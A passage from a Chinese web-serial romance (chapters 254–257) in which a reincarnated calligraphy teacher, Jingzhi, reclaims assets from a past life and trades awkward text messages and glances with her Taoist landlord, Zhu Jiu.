这味道,已经在他房间消逝,却又在这里出现。 朱九鬼使神差的举起刚刚握过门把手的左手,凑到鼻尖轻轻嗅了一下。 恍惚间,黄姨不知道什么时候已经站在楼梯口看着他,“二爷,那个……那一间是静之小姐住的,她有交代过,不用我再进去打扫,我看你……” 也别进去了吧? 话还没说完,就看见朱九有些囧迫的朝她快步走过来。 怎么了怎么了? 难道她发现了二爷什么不可告人的秘密,他要炒她鱿鱼了吗? 黄姨头低低的,完全不敢跟严肃的老板对上视线。 唉,早知道不应该多管闲事的。 却不曾想,朱九步履匆匆,一句话也没说,直接越过她,从她左侧的楼梯往下走。 黄姨拍了拍紧张到彭彭乱跳的胸口,看着快速走出别墅大门的朱九,长长舒了口气。 难道她家二爷真的是闲着没事干,来这里遛弯的? 黄姨扶着拖把柄有些不解。 光可照人的地面只留下一串朱九的皮鞋脚印。 黄姨的拖把,虽迟但到。 “真是的,才刚拖完,他怎么不去外头遛呢?” …… 书法班里。 静之看着坐在教室最后头的豆豆有些不解。 她今天不是没课吗? 来这里做什么? 豆豆直直对上她的视线,朝她笑了笑,眼里有些年轻小姑娘的顽劣,面上却是一副正经模样。 “你上课吧,我闲着没事干,过来学习学~习~” 静之略微挑眉,她这是特意来收集她这个“敌方”的情报,再顺便来看看她的笑话吧? 不过没事,她最不缺的就是耐心了。 清灵舒缓的声线响起,她的讲课方式,有趣而不失条理。 配合着板书,让人不禁跟随着她的思维下笔练习。 稍稍讲解一段后,她来到学生的桌子旁边巡视,有时还会耐心的俯下身一一纠正学生的错误。 坐最后一排的,是昨天那个生无可恋被甩一脸墨的四眼仔——方志远。 他是豆豆的追求者,不过豆豆每次见面不是训他写字难看,就是找机会整他。 志远吓得连告白都不敢,只敢连交两年学费,就这般在豆豆的书法班里混,只求能日日看到她。 此时仿佛感受到了豆豆有些不爽的情绪,他拿笔杆小心翼翼的杵了杵豆豆的肩膀。 “豆豆,我看她挺好的,你别不开心嘛。” 豆豆睨了他一眼,轻飘飘的翻了个白眼,“她才来一天,你就见异思迁了?” 志远急了,他连忙摆手,由于着急解释,声线突然拔高。 “没有没有,我,我……”说到后头,他面红耳赤,后面几个字简直细若蚊声,“只喜欢你……” 豆豆二郎腿一翘,把视线从他的大红脸上收回,抬头看向一手撑在桌上,指导学生写字的静之身上。 只见静之今天穿着一件休闲的白色衬衫,衬衫袖子随意的挽了两个褶,搭配微微阔脚的西装裤。 衬衫扎进了裤里,不仅提高了腰线,还把她优越的身体比例彻底展露了出来。 豆豆伸了伸腿,换了一脚搭个二郎腿,实则暗暗比了比自己腿的长度。 靠,输了,好像还差她五公分。 她放平腿,一脚踹向方志远的椅子。 “你举手,就说你有问题。” 志远有些为难的看着写好了的字,“我,我应该,大概,……” “嗯?”豆豆瞪眼。 “老,老师!我有问题!”方志远立马举手。 静之直起身子,随意的抬起右手,将滑到一边的柔顺白发往后拨去。 动作间,优美修长的颈部线条和一刹那展现出的风情,彻底展露在豆豆眼前。 豆豆不由得摸了摸自己的马尾辫。 她有些傻眼。 这女人到底是怎么长的,怎么武功好,字好,连外在都这般无可挑剔。 静之走了过来,含笑看了她一眼,然后将视线落到方志远桌上。 “我看看哦……这不是写得挺好的嘛,我刚刚说的你都听进去了,很棒。” 她是个不吝赞美的老师。 被她这么一夸,志远涨红了脸,搜肠刮肚想编个瞎话留住她,却因为性格内向,屁都放不出一个。 真没用。 豆豆暗暗撇了他一眼,然后笑着对静之说: “林老师,下课后一起吃个饭呗,就当做是同事间的聚餐,交流交流感情嘛。” 静之似笑非笑看了她一眼,说: “行,课后再说,现在还在上课呢。” 这妮子,醉翁之意不在酒吧? 好久没遇到过这般调皮的小孩了,看着豆豆那暗含挑衅的眼神,她的脑子里总是不由自主的浮现出中光的脸。 唉,天妒英才,当初他若不是非要那般激动,林九的传送阵法也能够救他一命吧…… 多想无益。 她闭了闭眼,转身走回教室前面。 “再练二十分钟,等会开小火车啊,下课前10分钟,每个人到黑板上写个“虎”,不用怕丑,大家互相监督,共同进步啊!” 我嘞个去!!! 来学书法的,一般都是性格比较温吞且内向的。 这个做法对他们来说,简直就是公开处刑。 座位上的每个人如临大敌,仔细回忆着刚刚静之说过的细节,手中一刻不敢停歇,认认真真的练字。 就连有着两年书法功底的志远,也没空跟豆豆扯东扯西了。 他也内向,但是更怕在豆豆前丢脸啊! 静之推了推脸上装逼用的黑色细框平光眼镜,露出了个狡黠的笑容。 这招,可是她向二娣学的呢。 每次只要她一没写好,就会被二娣把她的丑字拿出去给梁赞嘲笑,久而久之,她咬着牙刻苦努力,再不敢偷懒了。 虽然梁赞每次嘲完,都会被二娣以切磋的名义顺手打一顿,但是她也因此学会了一手好字。 嗯——怎么不算各有收获呢。 …… 第254章 哦个屁 午饭时间,作为地头蛇的豆豆带着静之来到附近的一家餐馆。 刚点了几个菜,静之立马拉住要离去的服务员,撤了两道加辣的菜。 豆豆一脸“抓到你了” 的表情,有些嘚瑟的说: “怎么?你不能吃辣啊?辣子鸡多好吃,你居然不吃?” 语气略显浮夸,静之丝毫不慌。 她一把擒住豆豆的手向上一翻,就开始给她把脉。 豆豆此时还喜滋滋的沉浸在她终于有一样比她强的喜悦当中,甚至调笑一句: “不能吃辣你就说,我是不会嘲笑你的。” 静之嘴角微微勾起,发出了一连串的灵魂提问: “最近是不是心烦意乱?” “额头是不是老长闭口或痘痘?” “牙龈是不是动不动就出血,就算你很小力刷牙也出血?“ 豆豆的眼睛越瞪越大,“你怎么知道?” 她的视线挪到她手腕处搭着的那三根纤长的手指上,你你你了半天,才挤出一句: “你简历上说会中医,是真的??” 静之收回手,微微一笑,“我骗你干嘛,这种事做不得假。” 豆豆开始焦虑上了,”那我怎么办啊,我是得了什么病吗?” 瞧她急得鼻头冒汗,紧紧抓着她的手的样子,静之撤出一手,轻轻拍了拍她的手背。 “没什么大事,肺胃过热,你禁几日辛辣,多喝点凉茶就好了。” “哦对了,肝火也有些旺,平时记得少生气,否则啊……” 医生一停顿,总是令人感到恐慌。 “否,否则什么,静之姐你别吓我!” 姐字都出来了,看来她是真害怕。 “容易失眠多梦。” “哦,还好还好,失眠不怕。”豆豆拍了拍胸口。 静之呵呵一笑,“失眠啊,可是会导致脱发哦~” “啊???”豆豆心绪一起一伏,手向上捂着她的头发直摇头,“我不生气了,我不想变秃头!” “叮咚~” 手机的短信铃声响起,捉弄可爱妹子的戏码暂停,静之拿出昨天新买的手机一看。 是个陌生号码。 哒哒哒按进去详细信息一瞧。 【中午回来吃吗?】 静之双眼微微一眯,今早她留了字条,看到的人,就朱八,朱九,还有阿祥三个人。 她哒哒哒一顿打字,然后删除,打了许久,泛着绿光的屏幕上只剩下两个字。 【你谁?】 坐在家里餐厅,看着一桌子黄姨做的丰盛饭菜的朱九,听到手机铃声响了。 他忽视阿祥跟朱八八卦的眼神,板着脸从兜里掏出来一看。 呵,不知道是他的时候,她的语气还是挺不客气的。 这样挺好,至少不怕她一个人在外面会被欺负。 他的电话只用来接听客户电话,极少用来发短信。 要不是怕她还在上课,打扰了人家,他才不会发短信呢。 朱九笨拙的摁下几个字。 【你好,我是朱九。】 想了想,说你好,好像太过生疏了,又不是陌生人。 想要删除前面两个字,结果因为不会操作,把整排字都给删了。 朱九抿了抿唇,绷着脸哒——哒——哒——,速度慢吞吞的打下几个字。 【我是朱九。】 当看到手机上头那四个方方正正的字的时候,静之笑得眉眼弯弯。 豆豆偷偷凑过来一看,“朱九谁啊,你男朋友?” 笑得这么荡漾,她看一定是。 没想到,静之竟然否认了,“不是,他是我房东。” 她反手就将朱九的号码存下来。 备注名为:AAA01号别墅房东 豆豆嫌弃的夹起一根青菜,有些无语的说:“房东给你发短信,不是催房租,就是催水电,你笑得那么荡漾干什么,钱多了没地方花啊?” “有吗?”静之摸了摸脸,视线完全不离手机屏幕。 “叮咚~” 许是她太久没回,又一条短信进来了。 AAA01号别墅房东来信。 她点进去一看,还是同一句话。 【你回来吃饭吗?】 嘿,他还挺关心她。 静之嗜着笑快速回复他。 【不了,其他老师请我吃饭呢。】 看到这条短信的时候,他不由自主的打下几个字。 【男的女的,别被骗了】 这句……好像有点操心得太过了。 朱九想了想,按了几下x键,把那几个字都给删了,换成了一个字。 【哦。】 哦什么哦,哦个屁啊哦。 静之按一下电源键,把手机收回口袋里。 豆豆一时摸不准她现在是什么表情,“你……真被催交房租了?” “……不是,吃饭吧。” 饭吃到一半,静之实在气不过,拿出手机,把他电话的备注哐哐一顿改,备注如下: 【AAA世界上最直的大木头】 …… 另外一边,朱九没有把手机放进口袋里,反而就这样摆在他右手边。 等了许久,手机屏幕早已暗掉,依旧没有渐渐熟悉“叮咚”声响起。 阿祥摸了摸咕噜乱叫的肚子,有些委屈的说:“二叔,吃饭吧,我看她是不会回来了。” 朱九突然瞪了他一眼,“谁说我是给她发短信的,我是给上次看风水的林先生发的。” 桌子底下,朱八不停踹着阿祥的脚。 他赌一百万,那几条短信,肯定就是给静之发的,他可从未见过他二哥这般纠结的样子。 阿祥更委屈了,现在他脚痛肚子也快饿扁了。 还没来得及再催上一句,朱九缓缓执起筷子,夹了一口微微发凉的青菜塞进嘴里。 “吃饭吧。” 声音略微低了那么一个度,阿祥的脚立马又受罪了。 身旁的三叔都快给他小腿踹骨折了。 朱八:看看,还不快看看,他二哥什么时候这般低落过了!! 第255章 摇身变成“富婆” 成年人的书法班其实挺容易教的,大家领悟力和自制力都挺好。 下午只有两节课,一节40分钟。 静之三点半早早就下了课。 豆豆别别扭扭的邀请她一起逛街,她都没去。 主要是今天她有点个人的私事要办理。 在豆豆失落的眼神中,静之拿着自己的包推开玻璃门走了出去。 中午午休的时间,她在公司楼下休息室的电脑里查到了元通钱庄的信息。 那家钱庄过了这么多年还在,只是换了个名字。 现在叫元丰银行。 上辈子她把钱都拿出去支援百姓了,实在没攒得什么东西出来。 但上上辈子她和林九攒了一辈子的资产可都存在钱庄里呢,她再不取的话,那些个名贵的药材跟银两估计就要充公了。 今天她特意补办了身份证,带了林九的私人印章,直奔元丰银行。 刚进去银行时,里头超强的冷气就冻得她一个激灵。 静之把衬衫的袖子撸了下来,在大堂经理的引导下取了号,坐在大厅边上的位置等候。 “ d5,现在是……d3。” 还得再等两个人。 静之看了看墙上的时钟。 快四点了,刚刚打车过来花了半个小时,这个银行四点半下班了,也不知道她今天来不来得及哦。 可今天是周五,下午办不成的话,她就得等到下个礼拜了。 主要是朱九给她的钱,她买了手机,还买了几套换洗衣物跟日常用品,就没剩多少了。 要不是怕手里的钱挨不到下个月发放工资,她也不至于打上自己上上辈子资产的主意。 “叮咚……请d5到第三柜台办理业务。” 指针转到四点十分的时候,广播终于叫到她了。 等广播连续叫了两次,静之这才缓慢起身,走向最里侧的柜台。 她可知道现在有些柜员最容易看人下菜碟了,不装作难搞一点,还真有可能会被欺负。 负责这个柜台的,是一名看起来有点飒的中年女士,玫红色的唇,挑高拉长的眉尾,微微凸起的颧骨。 静之瞄了一眼左下角放着的工作人员照片跟打分栏。 林耀玲经理。 倒也是个姓林的,应该不至于为难她吧? “你好,我想把我长辈以前存在这儿的东西取回家。” 林经理指了指玻璃隔断下头的空儿,露出一张职业假笑,熟练的抛出一套话术: “女士您好,身份证,储存凭据,如果有印章的话,也麻烦拿来给我确认下。” 静之从包里拿出东西,小心翼翼的放到那个弧形凹槽里。 特别是那张凭据。 上辈子她因为想念林九,不时会拿它出来翻看一下,那纸张都给她捏得有些泛黄了。 林经理脸上的假笑差点绷不住了。 这凭据她从来没有见过,这她爹的是古董吧?! 可元通钱庄确实是他们银行的前身没错,私人印章也对得上号。 林经理皱起眉头思考了一会儿,期间被静之一手搭在靠背上的那副大爷样儿逼得不敢直视。 这女人…是不是刺头她不知道,看上去是挺雄的,还有些睿智。 她暗中斟酌了一下语句,才转头对静之说: “女士,若是您不忙,可否来一下右侧的休息室,这张凭据,我无法做主取东西出来给您,我需要请示一下我们总经理。” 她就知道没这么容易。 静之暗暗叹了口气,面上又装作一副“老娘很忙,你搞快点”的样子,她推了推眼镜框,不耐的说:“行。” …… 来到休息室,刚刚那位林经理给她拿了杯水,把身份证还给她,却是把印章跟凭证拿走了。 就在静之以为今天要被万恶的资本家坑骗的时候,一位高高瘦瘦的中年男人推门走了进来。 手里拿着的,正是她的东西。 “林……静之女士?” “是我!”静之熟练举手。 下一秒,自觉这个动作有些幼稚,她默默放下手,环着胸装起了老成,“怎么,我的东西有问题吗?” 那位中年男人一确认是静之本人,他缓缓关上房门,然后走到窗前,把百叶窗拉上,彻底隔断外面好奇的目光。 当空间密闭的时候,他咵嚓一声,就给静之跪下了。 “老祖宗,我梁广啊。” “你谁?”静之掏了掏耳朵。 “梁广,小光他哥。”梁广跪得太快,服帖的西装裤裤裆差点给他干裂了,他两手高高举着静之的东西呈到她面前,又偷偷挪了挪膝盖,找个了顺腿的姿势跪好,这才快速跟一脸迷茫的静之解释道: “梁光是我最小的弟弟,我是他二哥,我大哥梁逛。” 静之:“那梁guang呢?” 梁广:“……祖宗,没有这个字,我娘就生了仨。” 瞧着静之逐渐歪楼,他赶紧主动扯回正事。 “我和大哥,还有几个堂兄弟,被九叔的传送阵,传送到这里来了,今天终于见到您了!” 静之一整个目瞪口呆。 好家伙,都给他们干这儿来了? 难不成是炸弹瞬间爆发的恐怖能量催化了阿九的传送阵,让他们不仅穿越了空间,还穿越了时间? 梁广接着说:“老祖宗,您的钱,不都捐了吗,怎么还能再这儿藏这么多东西?” 他暗搓搓的打量着静之的脸色,小声猜测:“难道……您背着九叔藏私房钱了?” “咚!” 既然知道他是她的后代,静之一点心理负担都没有,顺手给了他一记栗子。 “瞎说什么,快把我东西拿出来还我!” 静之接过他手里的印章妥善放回包里,那凭据却是并未拿回。 “那张东西你应该要拿回去的吧?” “是的。”梁广欲言又止的说,“祖宗,您的资产有些多,怎么不换算成港币呢,不然我怕您拿着走不了几条街,就会被混混跟踪。” 静之手肘撑在沙发上,捧着脸思考了一下,好像也是哦。 “你都这么大了,在这儿有没有相熟的当铺啊?” 梁广眼前一亮,“有有有,我大哥就是开当铺的,您直接过去兑就行,现在金银都涨价了,我看您这回资产肯定能翻个几番。” 静之眉毛一挑,拿这么多钱放身上,她也不放心啊。 “那我就取三个五十两银锭吧,你重新给我做个凭据,抬头就改成你们现在银行的名字。” 静之现在可算是长心眼儿了。 穷了三辈子,她下辈子可不想这般捉襟见肘了。 这辈子钱没花完,她盘算着她和林九的那些个黄金白银,就留在银行里坐等涨值,下辈子没钱了就来银行取出来花。 她可真是太聪明了。 “哦,也行,等会你要过去兑现金的时候,我跟你一起过去。”梁广跃跃欲试。 他应该是第一个见到老祖宗的人吧,他要跟他哥吹爆。 静之却又给了他一个栗子。 “上班时间你还想摸鱼啊,我过去刷脸不行吗?你都认出来了,我就不信你哥认不出来。” 梁广一脸无辜抬起手腕,把银色的手表表盘秀给她看。 “老祖宗,四点半了,下班了。” “……哦,那你敲回来?”静之似笑非笑的看着他,微微低头,把头顶伸了过去。 梁广一脸讪笑摆手,“不,不敢。” …… 去到隔壁当铺,自然又是一番认祖宗的节奏,静之拿了钱,跟他们互相留了联系方式以后,便坐公交车回了家。 没办法,打车贵啊,虽然她现在有钱了,但她抠门。 虽然坐公交慢,但是她又不赶时间。 她不急,倒是有个人暗暗急了。 昨天静之发了份课程表给朱九,以防万一他找不到人。 所以朱九知道她今天是3点半下课,按理来说,就算搭公交,也应在4点左右就回来的。 这会儿都五点三十五分了,眼见着太阳都要下山了,站在庭院里的朱九按熄了手机,回到门口的红木椅上坐下。 给自己打扇乘凉的时候,他的眼角余光不由自主的,频频朝路口的蓝色公交站牌张望着。 “二哥,等人呢?她就是隔壁一租客,你回回都要给她留饭啊?人家就算回来了,也是回隔壁去。” 朱八故意激他,并不着痕迹观察他哥的反应。 果然,他二哥急了,甚至连被夕阳微微镀上一层金光的脸颊,都泛起了一层薄薄的红晕。 “瞎说什么,屋里有点闷,我出来呼吸一下新鲜空气。” 朱八嘿嘿嘿的,笑得有些猥琐,伸了个大脸过来,贱兮兮的调侃他: “二哥,外头太阳大得很,那你这脸…是晒红的喽?” 朱九气结,手里的扇瞬间就丢了过去,直打朱八的脸。 “我看你是时候搬出去自己住了!” 朱八摸了摸有些发红的脸,贼眼骨碌一转,狗腿的站到朱九身后给他捶肩。 “二哥,要不……市中心那套大平层给我呗,我立马就搬出去住。” 朱九冷笑一声,“亲兄弟明算账,你什么时候攒够钱给我,我就转给你。” 朱八:“……多少钱。” 朱九慢悠悠的举起一根手指。 朱八双眼瞬间亮起,“一百万?” 一百万他有啊。 朱九转头白了他一眼,“一千万。” 那个地段就在市中心,还是个二百平的平层,一百万?他想得倒是美。 朱八萎了。 他浑身上下就剩下一百八十几万了,全家现在估计就他最穷了。 怀揣着八千块,以为自己晋升小富婆,实则是这一块富人区最穷的穷人——静之,她回来了。 她乐颠颠的从公车上下来。 见到朱九坐在房檐下,她勾起红唇,跟个傻白甜似的,在路口对面朝他猛挥手。 “二叔,您吃了没有啊?” 第256章 朱九,你到底怎么了 “还没,你刚下班,要不要过来一起吃个便饭?”朱九站了起来,背着手朝她友好一笑。 静之左右看了下马路,见没车,她一个猛牛冲撞,就奔进了朱九的庭院。 她倒是自来熟,想也没想就应下了。 “好呀,我省得做饭了,要不以后我在你们这儿一块吃得了,我省得开火,伙食费我月底一起给你呗。” 她调皮的朝朱九眨眨眼,卖个萌。 朱九身子陡然一僵,轻咳一声,掉头走了进去,“不差你这口饭,进来吧。” “嘿……” 他这辈子可真壕,不过她如今也算是身怀“巨款”的人了,没在一起的话,她可不想占他便宜。 “一定要给的,就这样,你别说话,月底我会一起给你的。” 朱九微张的嘴突然被捂上,熟悉的香气又窜进了他鼻腔里,他猛的后退一步避开她的手,却是一脚踩到跟在身后的朱八鞋上。 “二哥,脚脚脚!” 朱九往旁边去了一步,绕过酒架,来到饭桌前坐下。 吃饭前,他客气的朝静之寒暄一句: “第一天上课感觉怎么样啊?” 静之拿着筷子的指尖微微扣紧,脑子里突然就想起他中午的时候发的那几条短信。 “还行。”她转头朝朱九说: “以后中午不用留我饭,一来一回挺麻烦的,我的课程表我会发一份给黄姨的,我去上课的工作日,只用帮我准备早晚饭就行啦。” 朱九轻轻点头,眼神没有往她那儿瞄半分。 不知为何,明明早上的时候他没有进去她房间,但他就是觉得有些心虚,就连他自己也不知道他在虚啥。 “你同事呢?好相处吗?” 吃到一半,朱九冷不丁又问了一句。 静之还没说话呢,朱八跟阿祥双双诧异的看了朱九一眼。 二叔/二哥不对劲儿! 平时他最讲礼节的了,食不言寝不语,甚至被他纳入了他们朱家的家规,他这是自己破戒了啊! 静之倒是挺习惯的。 此时此刻,她莫名有一种去梁家学医,回来被林九盘问的即视感。 “还行,我同事高豆豆是个活泼的女孩子,我跟她处得挺好的。” 朱九深沉的双眸,不自觉的微微一亮。 女孩子啊,那就好。 都是女孩子,就不容易被骗了。 林九:“嗯,好。” 好什么好,莫名其妙的。 这辈子他的话是真少。 秉持着不让任何话掉在地上的涵养,她轻轻哦了一声。 两人立刻陷入沉默,阿祥却边嚼着嘴里的饭边思索着:高豆豆?这个名字怎么这么熟悉啊,好像在哪里听过。 三楼香炉后的坛子此时轻微动了动。 …… 饭后,黄姨适时出现,带来了个果盘后,就去收拾残局了,静之见无事可做,伸了伸懒腰,拿了她的包准备回去她的小窝继续当牛马。 没办法,学生的作业她还得批改呢,她不喜欢拖到最后一刻再动工。 明天是她完整的休息日,她决定好好感受一下现代的科技。 她那别墅里的二楼不仅有影音室,还有健身房跟游戏室,她打算窝在沙发上,吃着零食,喝着可乐,看它个几场电影。 然后再去游戏室打机,打累了就去健身房跑她个三公里,又或者可以跳到瓦蓝瓦蓝的游泳池里游个泳,最后躺在她两米宽的软床垫上,大睡特睡! 啊!想想都要爽翻了! 金童仿佛知道她内心的想法,刚想开腔,却突然想到她上辈子的艰辛。 算了,这个世界就当做是让她来度假的好了,修炼的事儿一时半会儿急不来。 静之回到房间后,放下包,两手撑在飘窗上的小茶几上,朝对面阳台看了看。 没错,她这间房的布置,基本跟朱九那间一模一样,位置更是相邻。 她这间在三楼的最东侧,他那间在三楼的最西侧。 静之甚至都能透过窗户,清楚的看到他飘窗旁边的静字了。 突然隔壁咔嗒一声响,门开了。 静之唰的一声,立刻把窗帘拉上一半挡住她自己。 奇怪,她心虚个毛线啊。 一想到明天要使用他别墅里的那么多设施,她唰的一声又打开窗帘,朝对面盘腿坐在蒲团上不知道结什么印的朱九挥了挥手。 朱九微微一愣,极有涵养的朝她笑了笑,不结印了,低头翻动着桌上的一沓纸,继续研究他的阵法图。 嗐,咋整,他好像还挺忙的。 话到嘴边的静之突然收声了。 算了,先干活。 她从包里拿出比朱九几上还厚的一沓纸,还有她新购入的黄色绣着阴阳八卦的笔袋。 自从爱上他以后,她平时使用的东西就恨不得能跟他沾点边。 钥匙圈上挂个亚克力的Q版道士,随身的公事包拉链处突兀的挂着圈套圈的小小乾坤镯。 就连她按压式红色圆珠笔的笔杆上都印了个抽象的道字。 这些东西可都是她从文具店的犄角旮旯处掏出来的,她还疑惑怎么没人买呢,摆得都落灰了。 静之摩挲着手里笔杆处的道字,嘴角开始上扬,她用余光打量着侧边那个认真画图的男人,一时看痴了去,眼神差点就收不回来了。 夏日总是格外漫长。 六点多太阳还没下山,昏黄的阳光透过窗户折射到他棱角分明的侧脸上,给严肃的他镀上了一层暖意。 他深褐色的瞳孔好像也吸取了阳光的一点光辉,瞳孔里那剔透的金黄小点紧紧吸引住了静之。 朱九手里的黑色钢笔用力的点在纯白的纸面上,墨花越晕越深。 他觉得面向窗外被太阳晒的那只耳朵,好像烫得有些惊人。 于是头也没抬,把里侧半透明的遮光窗帘拉上了一点儿,差不多挡住他的身体后,他就住了手。 静之:没关系,看不到人,我可以看手,手还露在外面呢。 目光从他的身影缓缓挪到他按在纸上的左手上。 青筋微露,手指修长,这辈子他竟还知道带个表了。 表带为中规中矩的黑色,圈着他的手腕,这辈子他养尊处优的,肤色比上辈子白了不少,这一黑一白的对比,再加上他手背上浮起的青筋,透露出一种说不清道不明的禁欲感。 朱九有一种手被视奸了的感觉。 他抿了抿嘴,微微侧头看向对面的女人。 仿佛察觉到他的视线,静之把笔头按得哒哒响。 夏风吹来,她小几上的宣纸瞬间扬帆起航,离家出走,吹得到处都是。 瞧着她涨红了脸,慌乱得四处捞纸的动作,朱九深沉的眼里缓缓带上一点微光。 隔壁的动作渐渐离谱。 在静之撅着个腚趴在床边,伸手够床底下的纸时,慌乱的人,变成了朱九。 他连忙收回眼神,默念几遍非礼勿视,强行把思绪集中在他的图纸上。 这防护阵真圆。 朱九脑子不停使唤的浮起她今天的穿着,她穿正装,有一种说不清的感觉…… “啪!” 一声脆响过后,朱九终于冷静下来了。 静之也终于捡回所有宣纸了,以防宣纸重新被吹走,她翻了下包包,然后从里头拿出林九给她做的镇纸压在上头。 “嘿,刚好用上了。” 静之的窗户没关,朱九的窗也习惯漏条缝通风。 听到隔壁传来说话声,他下意识回头一看。 就看到她正一脸温柔的抚摸着那叠纸上的镇纸,镇纸上是两个挨得极近的玉像。 朱九的眼神尖得很。 虽是侧面,但其中一个玉像明显是一位背着桃木剑的男道士,根据这玉像脚下用银线焊接的痕迹,朱九不难得出一个猜测。 这东西,确实是她前男友送的,最明显的是,她对他前男友余情未了,否则的话,怎么还要再焊回去呢? 朱九抿了抿嘴,有些浮躁的心这回算是彻底冷了下来。 他放下阵法图,瞅着眼前那幅大大的“静”字,缓缓闭上眼睛,静心凝气,打起了坐。 还是那个动作,宝剑套入剑鞘,朱九做得一丝不苟,百发百中。 边改作业,边偷瞄他身影的静之脸越涨越红,最后实在忍不住,唰的一声,也把遮光的白色半透明帘子拉上。 “臭流氓!” 仿佛听到她嗔怒的娇气骂声,剑鞘一抖,偏离了宝剑。 朱九首次套了个空,双眼倏地睁开,默默盯着举在胸前的剑指。 朱九,你到底怎么了…… 第257章 他不信邪 静之搁房间里库库就是一顿打分,朱九却离开房间回到了供桌前。 阿祥这猪脑子终于开工了,这会儿想起来高豆豆是谁了。 高豆豆不就是他小学同学高少少的妹妹嘛,这事儿整的,还挺有缘分。 姐姐搁他家呢,妹妹还被静之遇到了。 他偷偷摸摸的,屏着呼吸攀着楼梯就上来了。 原本依照他二叔的警惕性,这会儿早就应该发现他了。 可没想到他都走到二楼和三楼之间的拐角处了,他二叔还搁神台前正做着什么。 阿祥鼻子轻轻耸动了一下,有些疑惑。 二叔烧符纸干什么? 还没疑惑完,就看到朱九从桌子上拿起不知道什么时候拿上来的盐罐子,往碗里甩了几下。 然后拿出筷子,把符灰跟盐搅弄几下,连喝三口后,他把剩下的符水往楼梯口一泼。 阿祥拿下啤酒瓶底厚的眼镜,自认倒霉,抹去一头一脸的咸味符水,心头的疑惑更甚。 这不是他们朱家常用的驱邪手段吗? 他二叔中邪了? 本着叔侄一场的份上,阿祥撸了两把湿漉漉的头发走了上去,顺嘴关怀了一句: “二叔你……你被鬼附身啦?什么鬼这么厉害,敢近你的身?” 莫不是……少少偷跑出来了?红衣厉鬼就是叼啊! 他偷偷瞅了一眼朱九侧后方的坛子。 不对,符没破啊,坛子也还好好的。 朱九脸色却是微微一变,他转身将手里的碗放回桌上,“没事,我研究研究新法术。” “什么新法术?”阿祥好奇问道。 朱九不耐烦的朝他扬扬手,并把盐罐子塞进他手里,“你不是一向不喜欢这些吗,等会下去把这个顺手拿去厨房。” 见阿祥还一直侧头去看他身后的坛子,朱九挺直胸膛彻底挡住他的视线。 “臭小子,你撅个屁股,我就知道你想放什么屁,想衰三年吗,别以为你是天地七星,就能够躲过我的衰运符。” 说到这个,阿祥猛叹气,“二叔啊,不是都说天地七星都是有福之人吗,怎么我长成这样,女朋友又跟我分手了,我看我衰得不行了已经。” 朱九默默睨了他一眼,没好气的说:“你别跟你三叔学坏的话,还有得救,他已经赌到疯魔了,你再陷进去的话,我看我们朱家彻底玩完了。” 也不知道是不是祖上修道传承至今,俗话说修道之人命中必有一缺。 他们朱家人丁稀少,更是与女人绝缘。 朱八从年轻谈到现在,不下二十任前女友,就是没一个能成的。 阿祥也是这样,就算他们家有钱,也总会因为这样那样的原因跟女朋友分手。 “唉,我跟三叔我看是没戏了,咱们朱家不是还有你吗?”阿祥朝他笑了笑说:“你娶个老婆就好了呗。” 朱九:“…………” 话刚说出口,阿祥挠了挠头,立刻把话捡了回来,“算了,你更没戏,我下去了。” 说完,他拿着盐罐子耸耸肩,表示一下对朱家命运的无奈,转身就往下走。 没戏吗? 不过是他不想而已,他跟他们两个可不一样,天天乱来,就不怕生花柳吗? 朱九抿着唇,蹲下来,将供桌下头的蒲团扯出来,摆好姿势在祖师爷面前打坐。 听到下楼的脚步声,他突然闭着眼说一句:“等等,去我房间把阳台上那小罐糯米拿下去。” 糯米? 他们家别墅是真进邪祟了吗,他怎么没听到动静? 阿祥看了一眼盘腿坐得笔直的背影,“二叔,你怎么不做那个手势了呢?” 朱九跟个佛祖似的,五指并拢举到胸前,没好气的说: “关你什么事,拿了东西赶紧下楼,不然就留下来一起打坐。” “好好好。”他可不想打坐,还不如回去看电视。 阿祥赶紧推开朱九的门进去拿糯米。 刚一进去,就被昏暗的环境吓一跳。 他二叔不是不喜欢拉窗帘的吗,今天拉的这么严实,真遇鬼了? 眼睛适应昏暗的光线后,他摸索着摁开墙上的开关。 光亮袭来,一片狼藉的地板直接让阿祥惊在原地。 这床边跟窗户边上的糯米……是怎么回事? 他二叔的房间一向井井有条,什么时候这么乱过了?? 算了,拿了东西赶紧走吧,不然他二叔该叫他扫地了。 他快步走到阳台,拿起小几上的糯米,刚想走,就看到对面亮着灯的房间。 那个叫静之的,此时伏在几上,耳朵后面别着根圆珠笔,脑袋上的发髻还斜插着两根,手里还捏着一根,一副要跟面前的宣纸死磕到底的样子。 “真是的,一个两个都奇奇怪怪的。” 拿了糯米后,刚想走,阿祥的余光突然就瞄到朱九屋里书桌上放着的课程表。 他走过去一看,“周六……轮到高豆豆上课啊。” 少少不是叫他把她的事情跟她妹妹说吗? 看来他明天要去一趟书法班了。 …… “累死你爹了!”静之伸了个懒腰,敲了敲酸痛的背。 这小几太矮了吧,赶明儿她得去家具市场挑个高一点的回来换。 她下意识转头一看,隔壁的窗帘拉着,但中间缝隙隐隐透露出来的光线告诉她,他还没睡。 静之拿起一旁的手机看了看,十点十八分了。 这时候他不是应该睡觉了吗? “滴。” 【电量不足,将在30秒内关机。】 静之拿起镇纸将成摞的宣纸压住,快走两步来到床前,着急忙慌的从抽屉里拿出充电器插到床头。 【充电中。】 看了手机屏幕右上角的闪电标志,静之舒了一口气。 对了,还没跟他说明天要用这边别墅二楼的事儿呢。 刚想翻身上床,被林九传染的洁癖,促使她先拿了睡衣走进浴室…… 二十分钟后,穿着浅灰色丝绸睡裙出来的静之,香香软软的。 她擦着微湿的头发,来到床前靠着。 思索一番后,她终于给朱九打了个电话。 【嘟……嘟……】 朱九床上的手机发出嗡嗡声,无人应答。 静之皱了皱眉,他不是没睡吗? 怎么不接她电话? 难道……是她今天不小心触犯了他家什么家规,他生气了? 给朱九发短信之前,她先给阿祥发了条短信过去。 【你好,请问你家家规都有什么啊,以后可能会有所打扰,你尽量说详细点,我下次过去的时候会注意分寸的。】 等待阿祥回复的时候,她抿着嘴斟酌了一下语句,缓缓在【AAA世界上最直的大木头】的收件人下面,打上一行字: 【晚上好,很抱歉打扰您了。明天我想用下我这边的影音室跟健身器材行不行呀?我会注意保持干净的,等您回复![双手合十][双手合十][双手合十]】 这样发,应该不会犯他什么忌讳吧。 发完短信,她关了灯,撩过来被子,美滋滋的滑入弹性十足的床里。 啊,她终于有弹簧床垫睡了,再也不用睡硬板床,太他爹的爽了。 “叮咚~”“叮咚~” 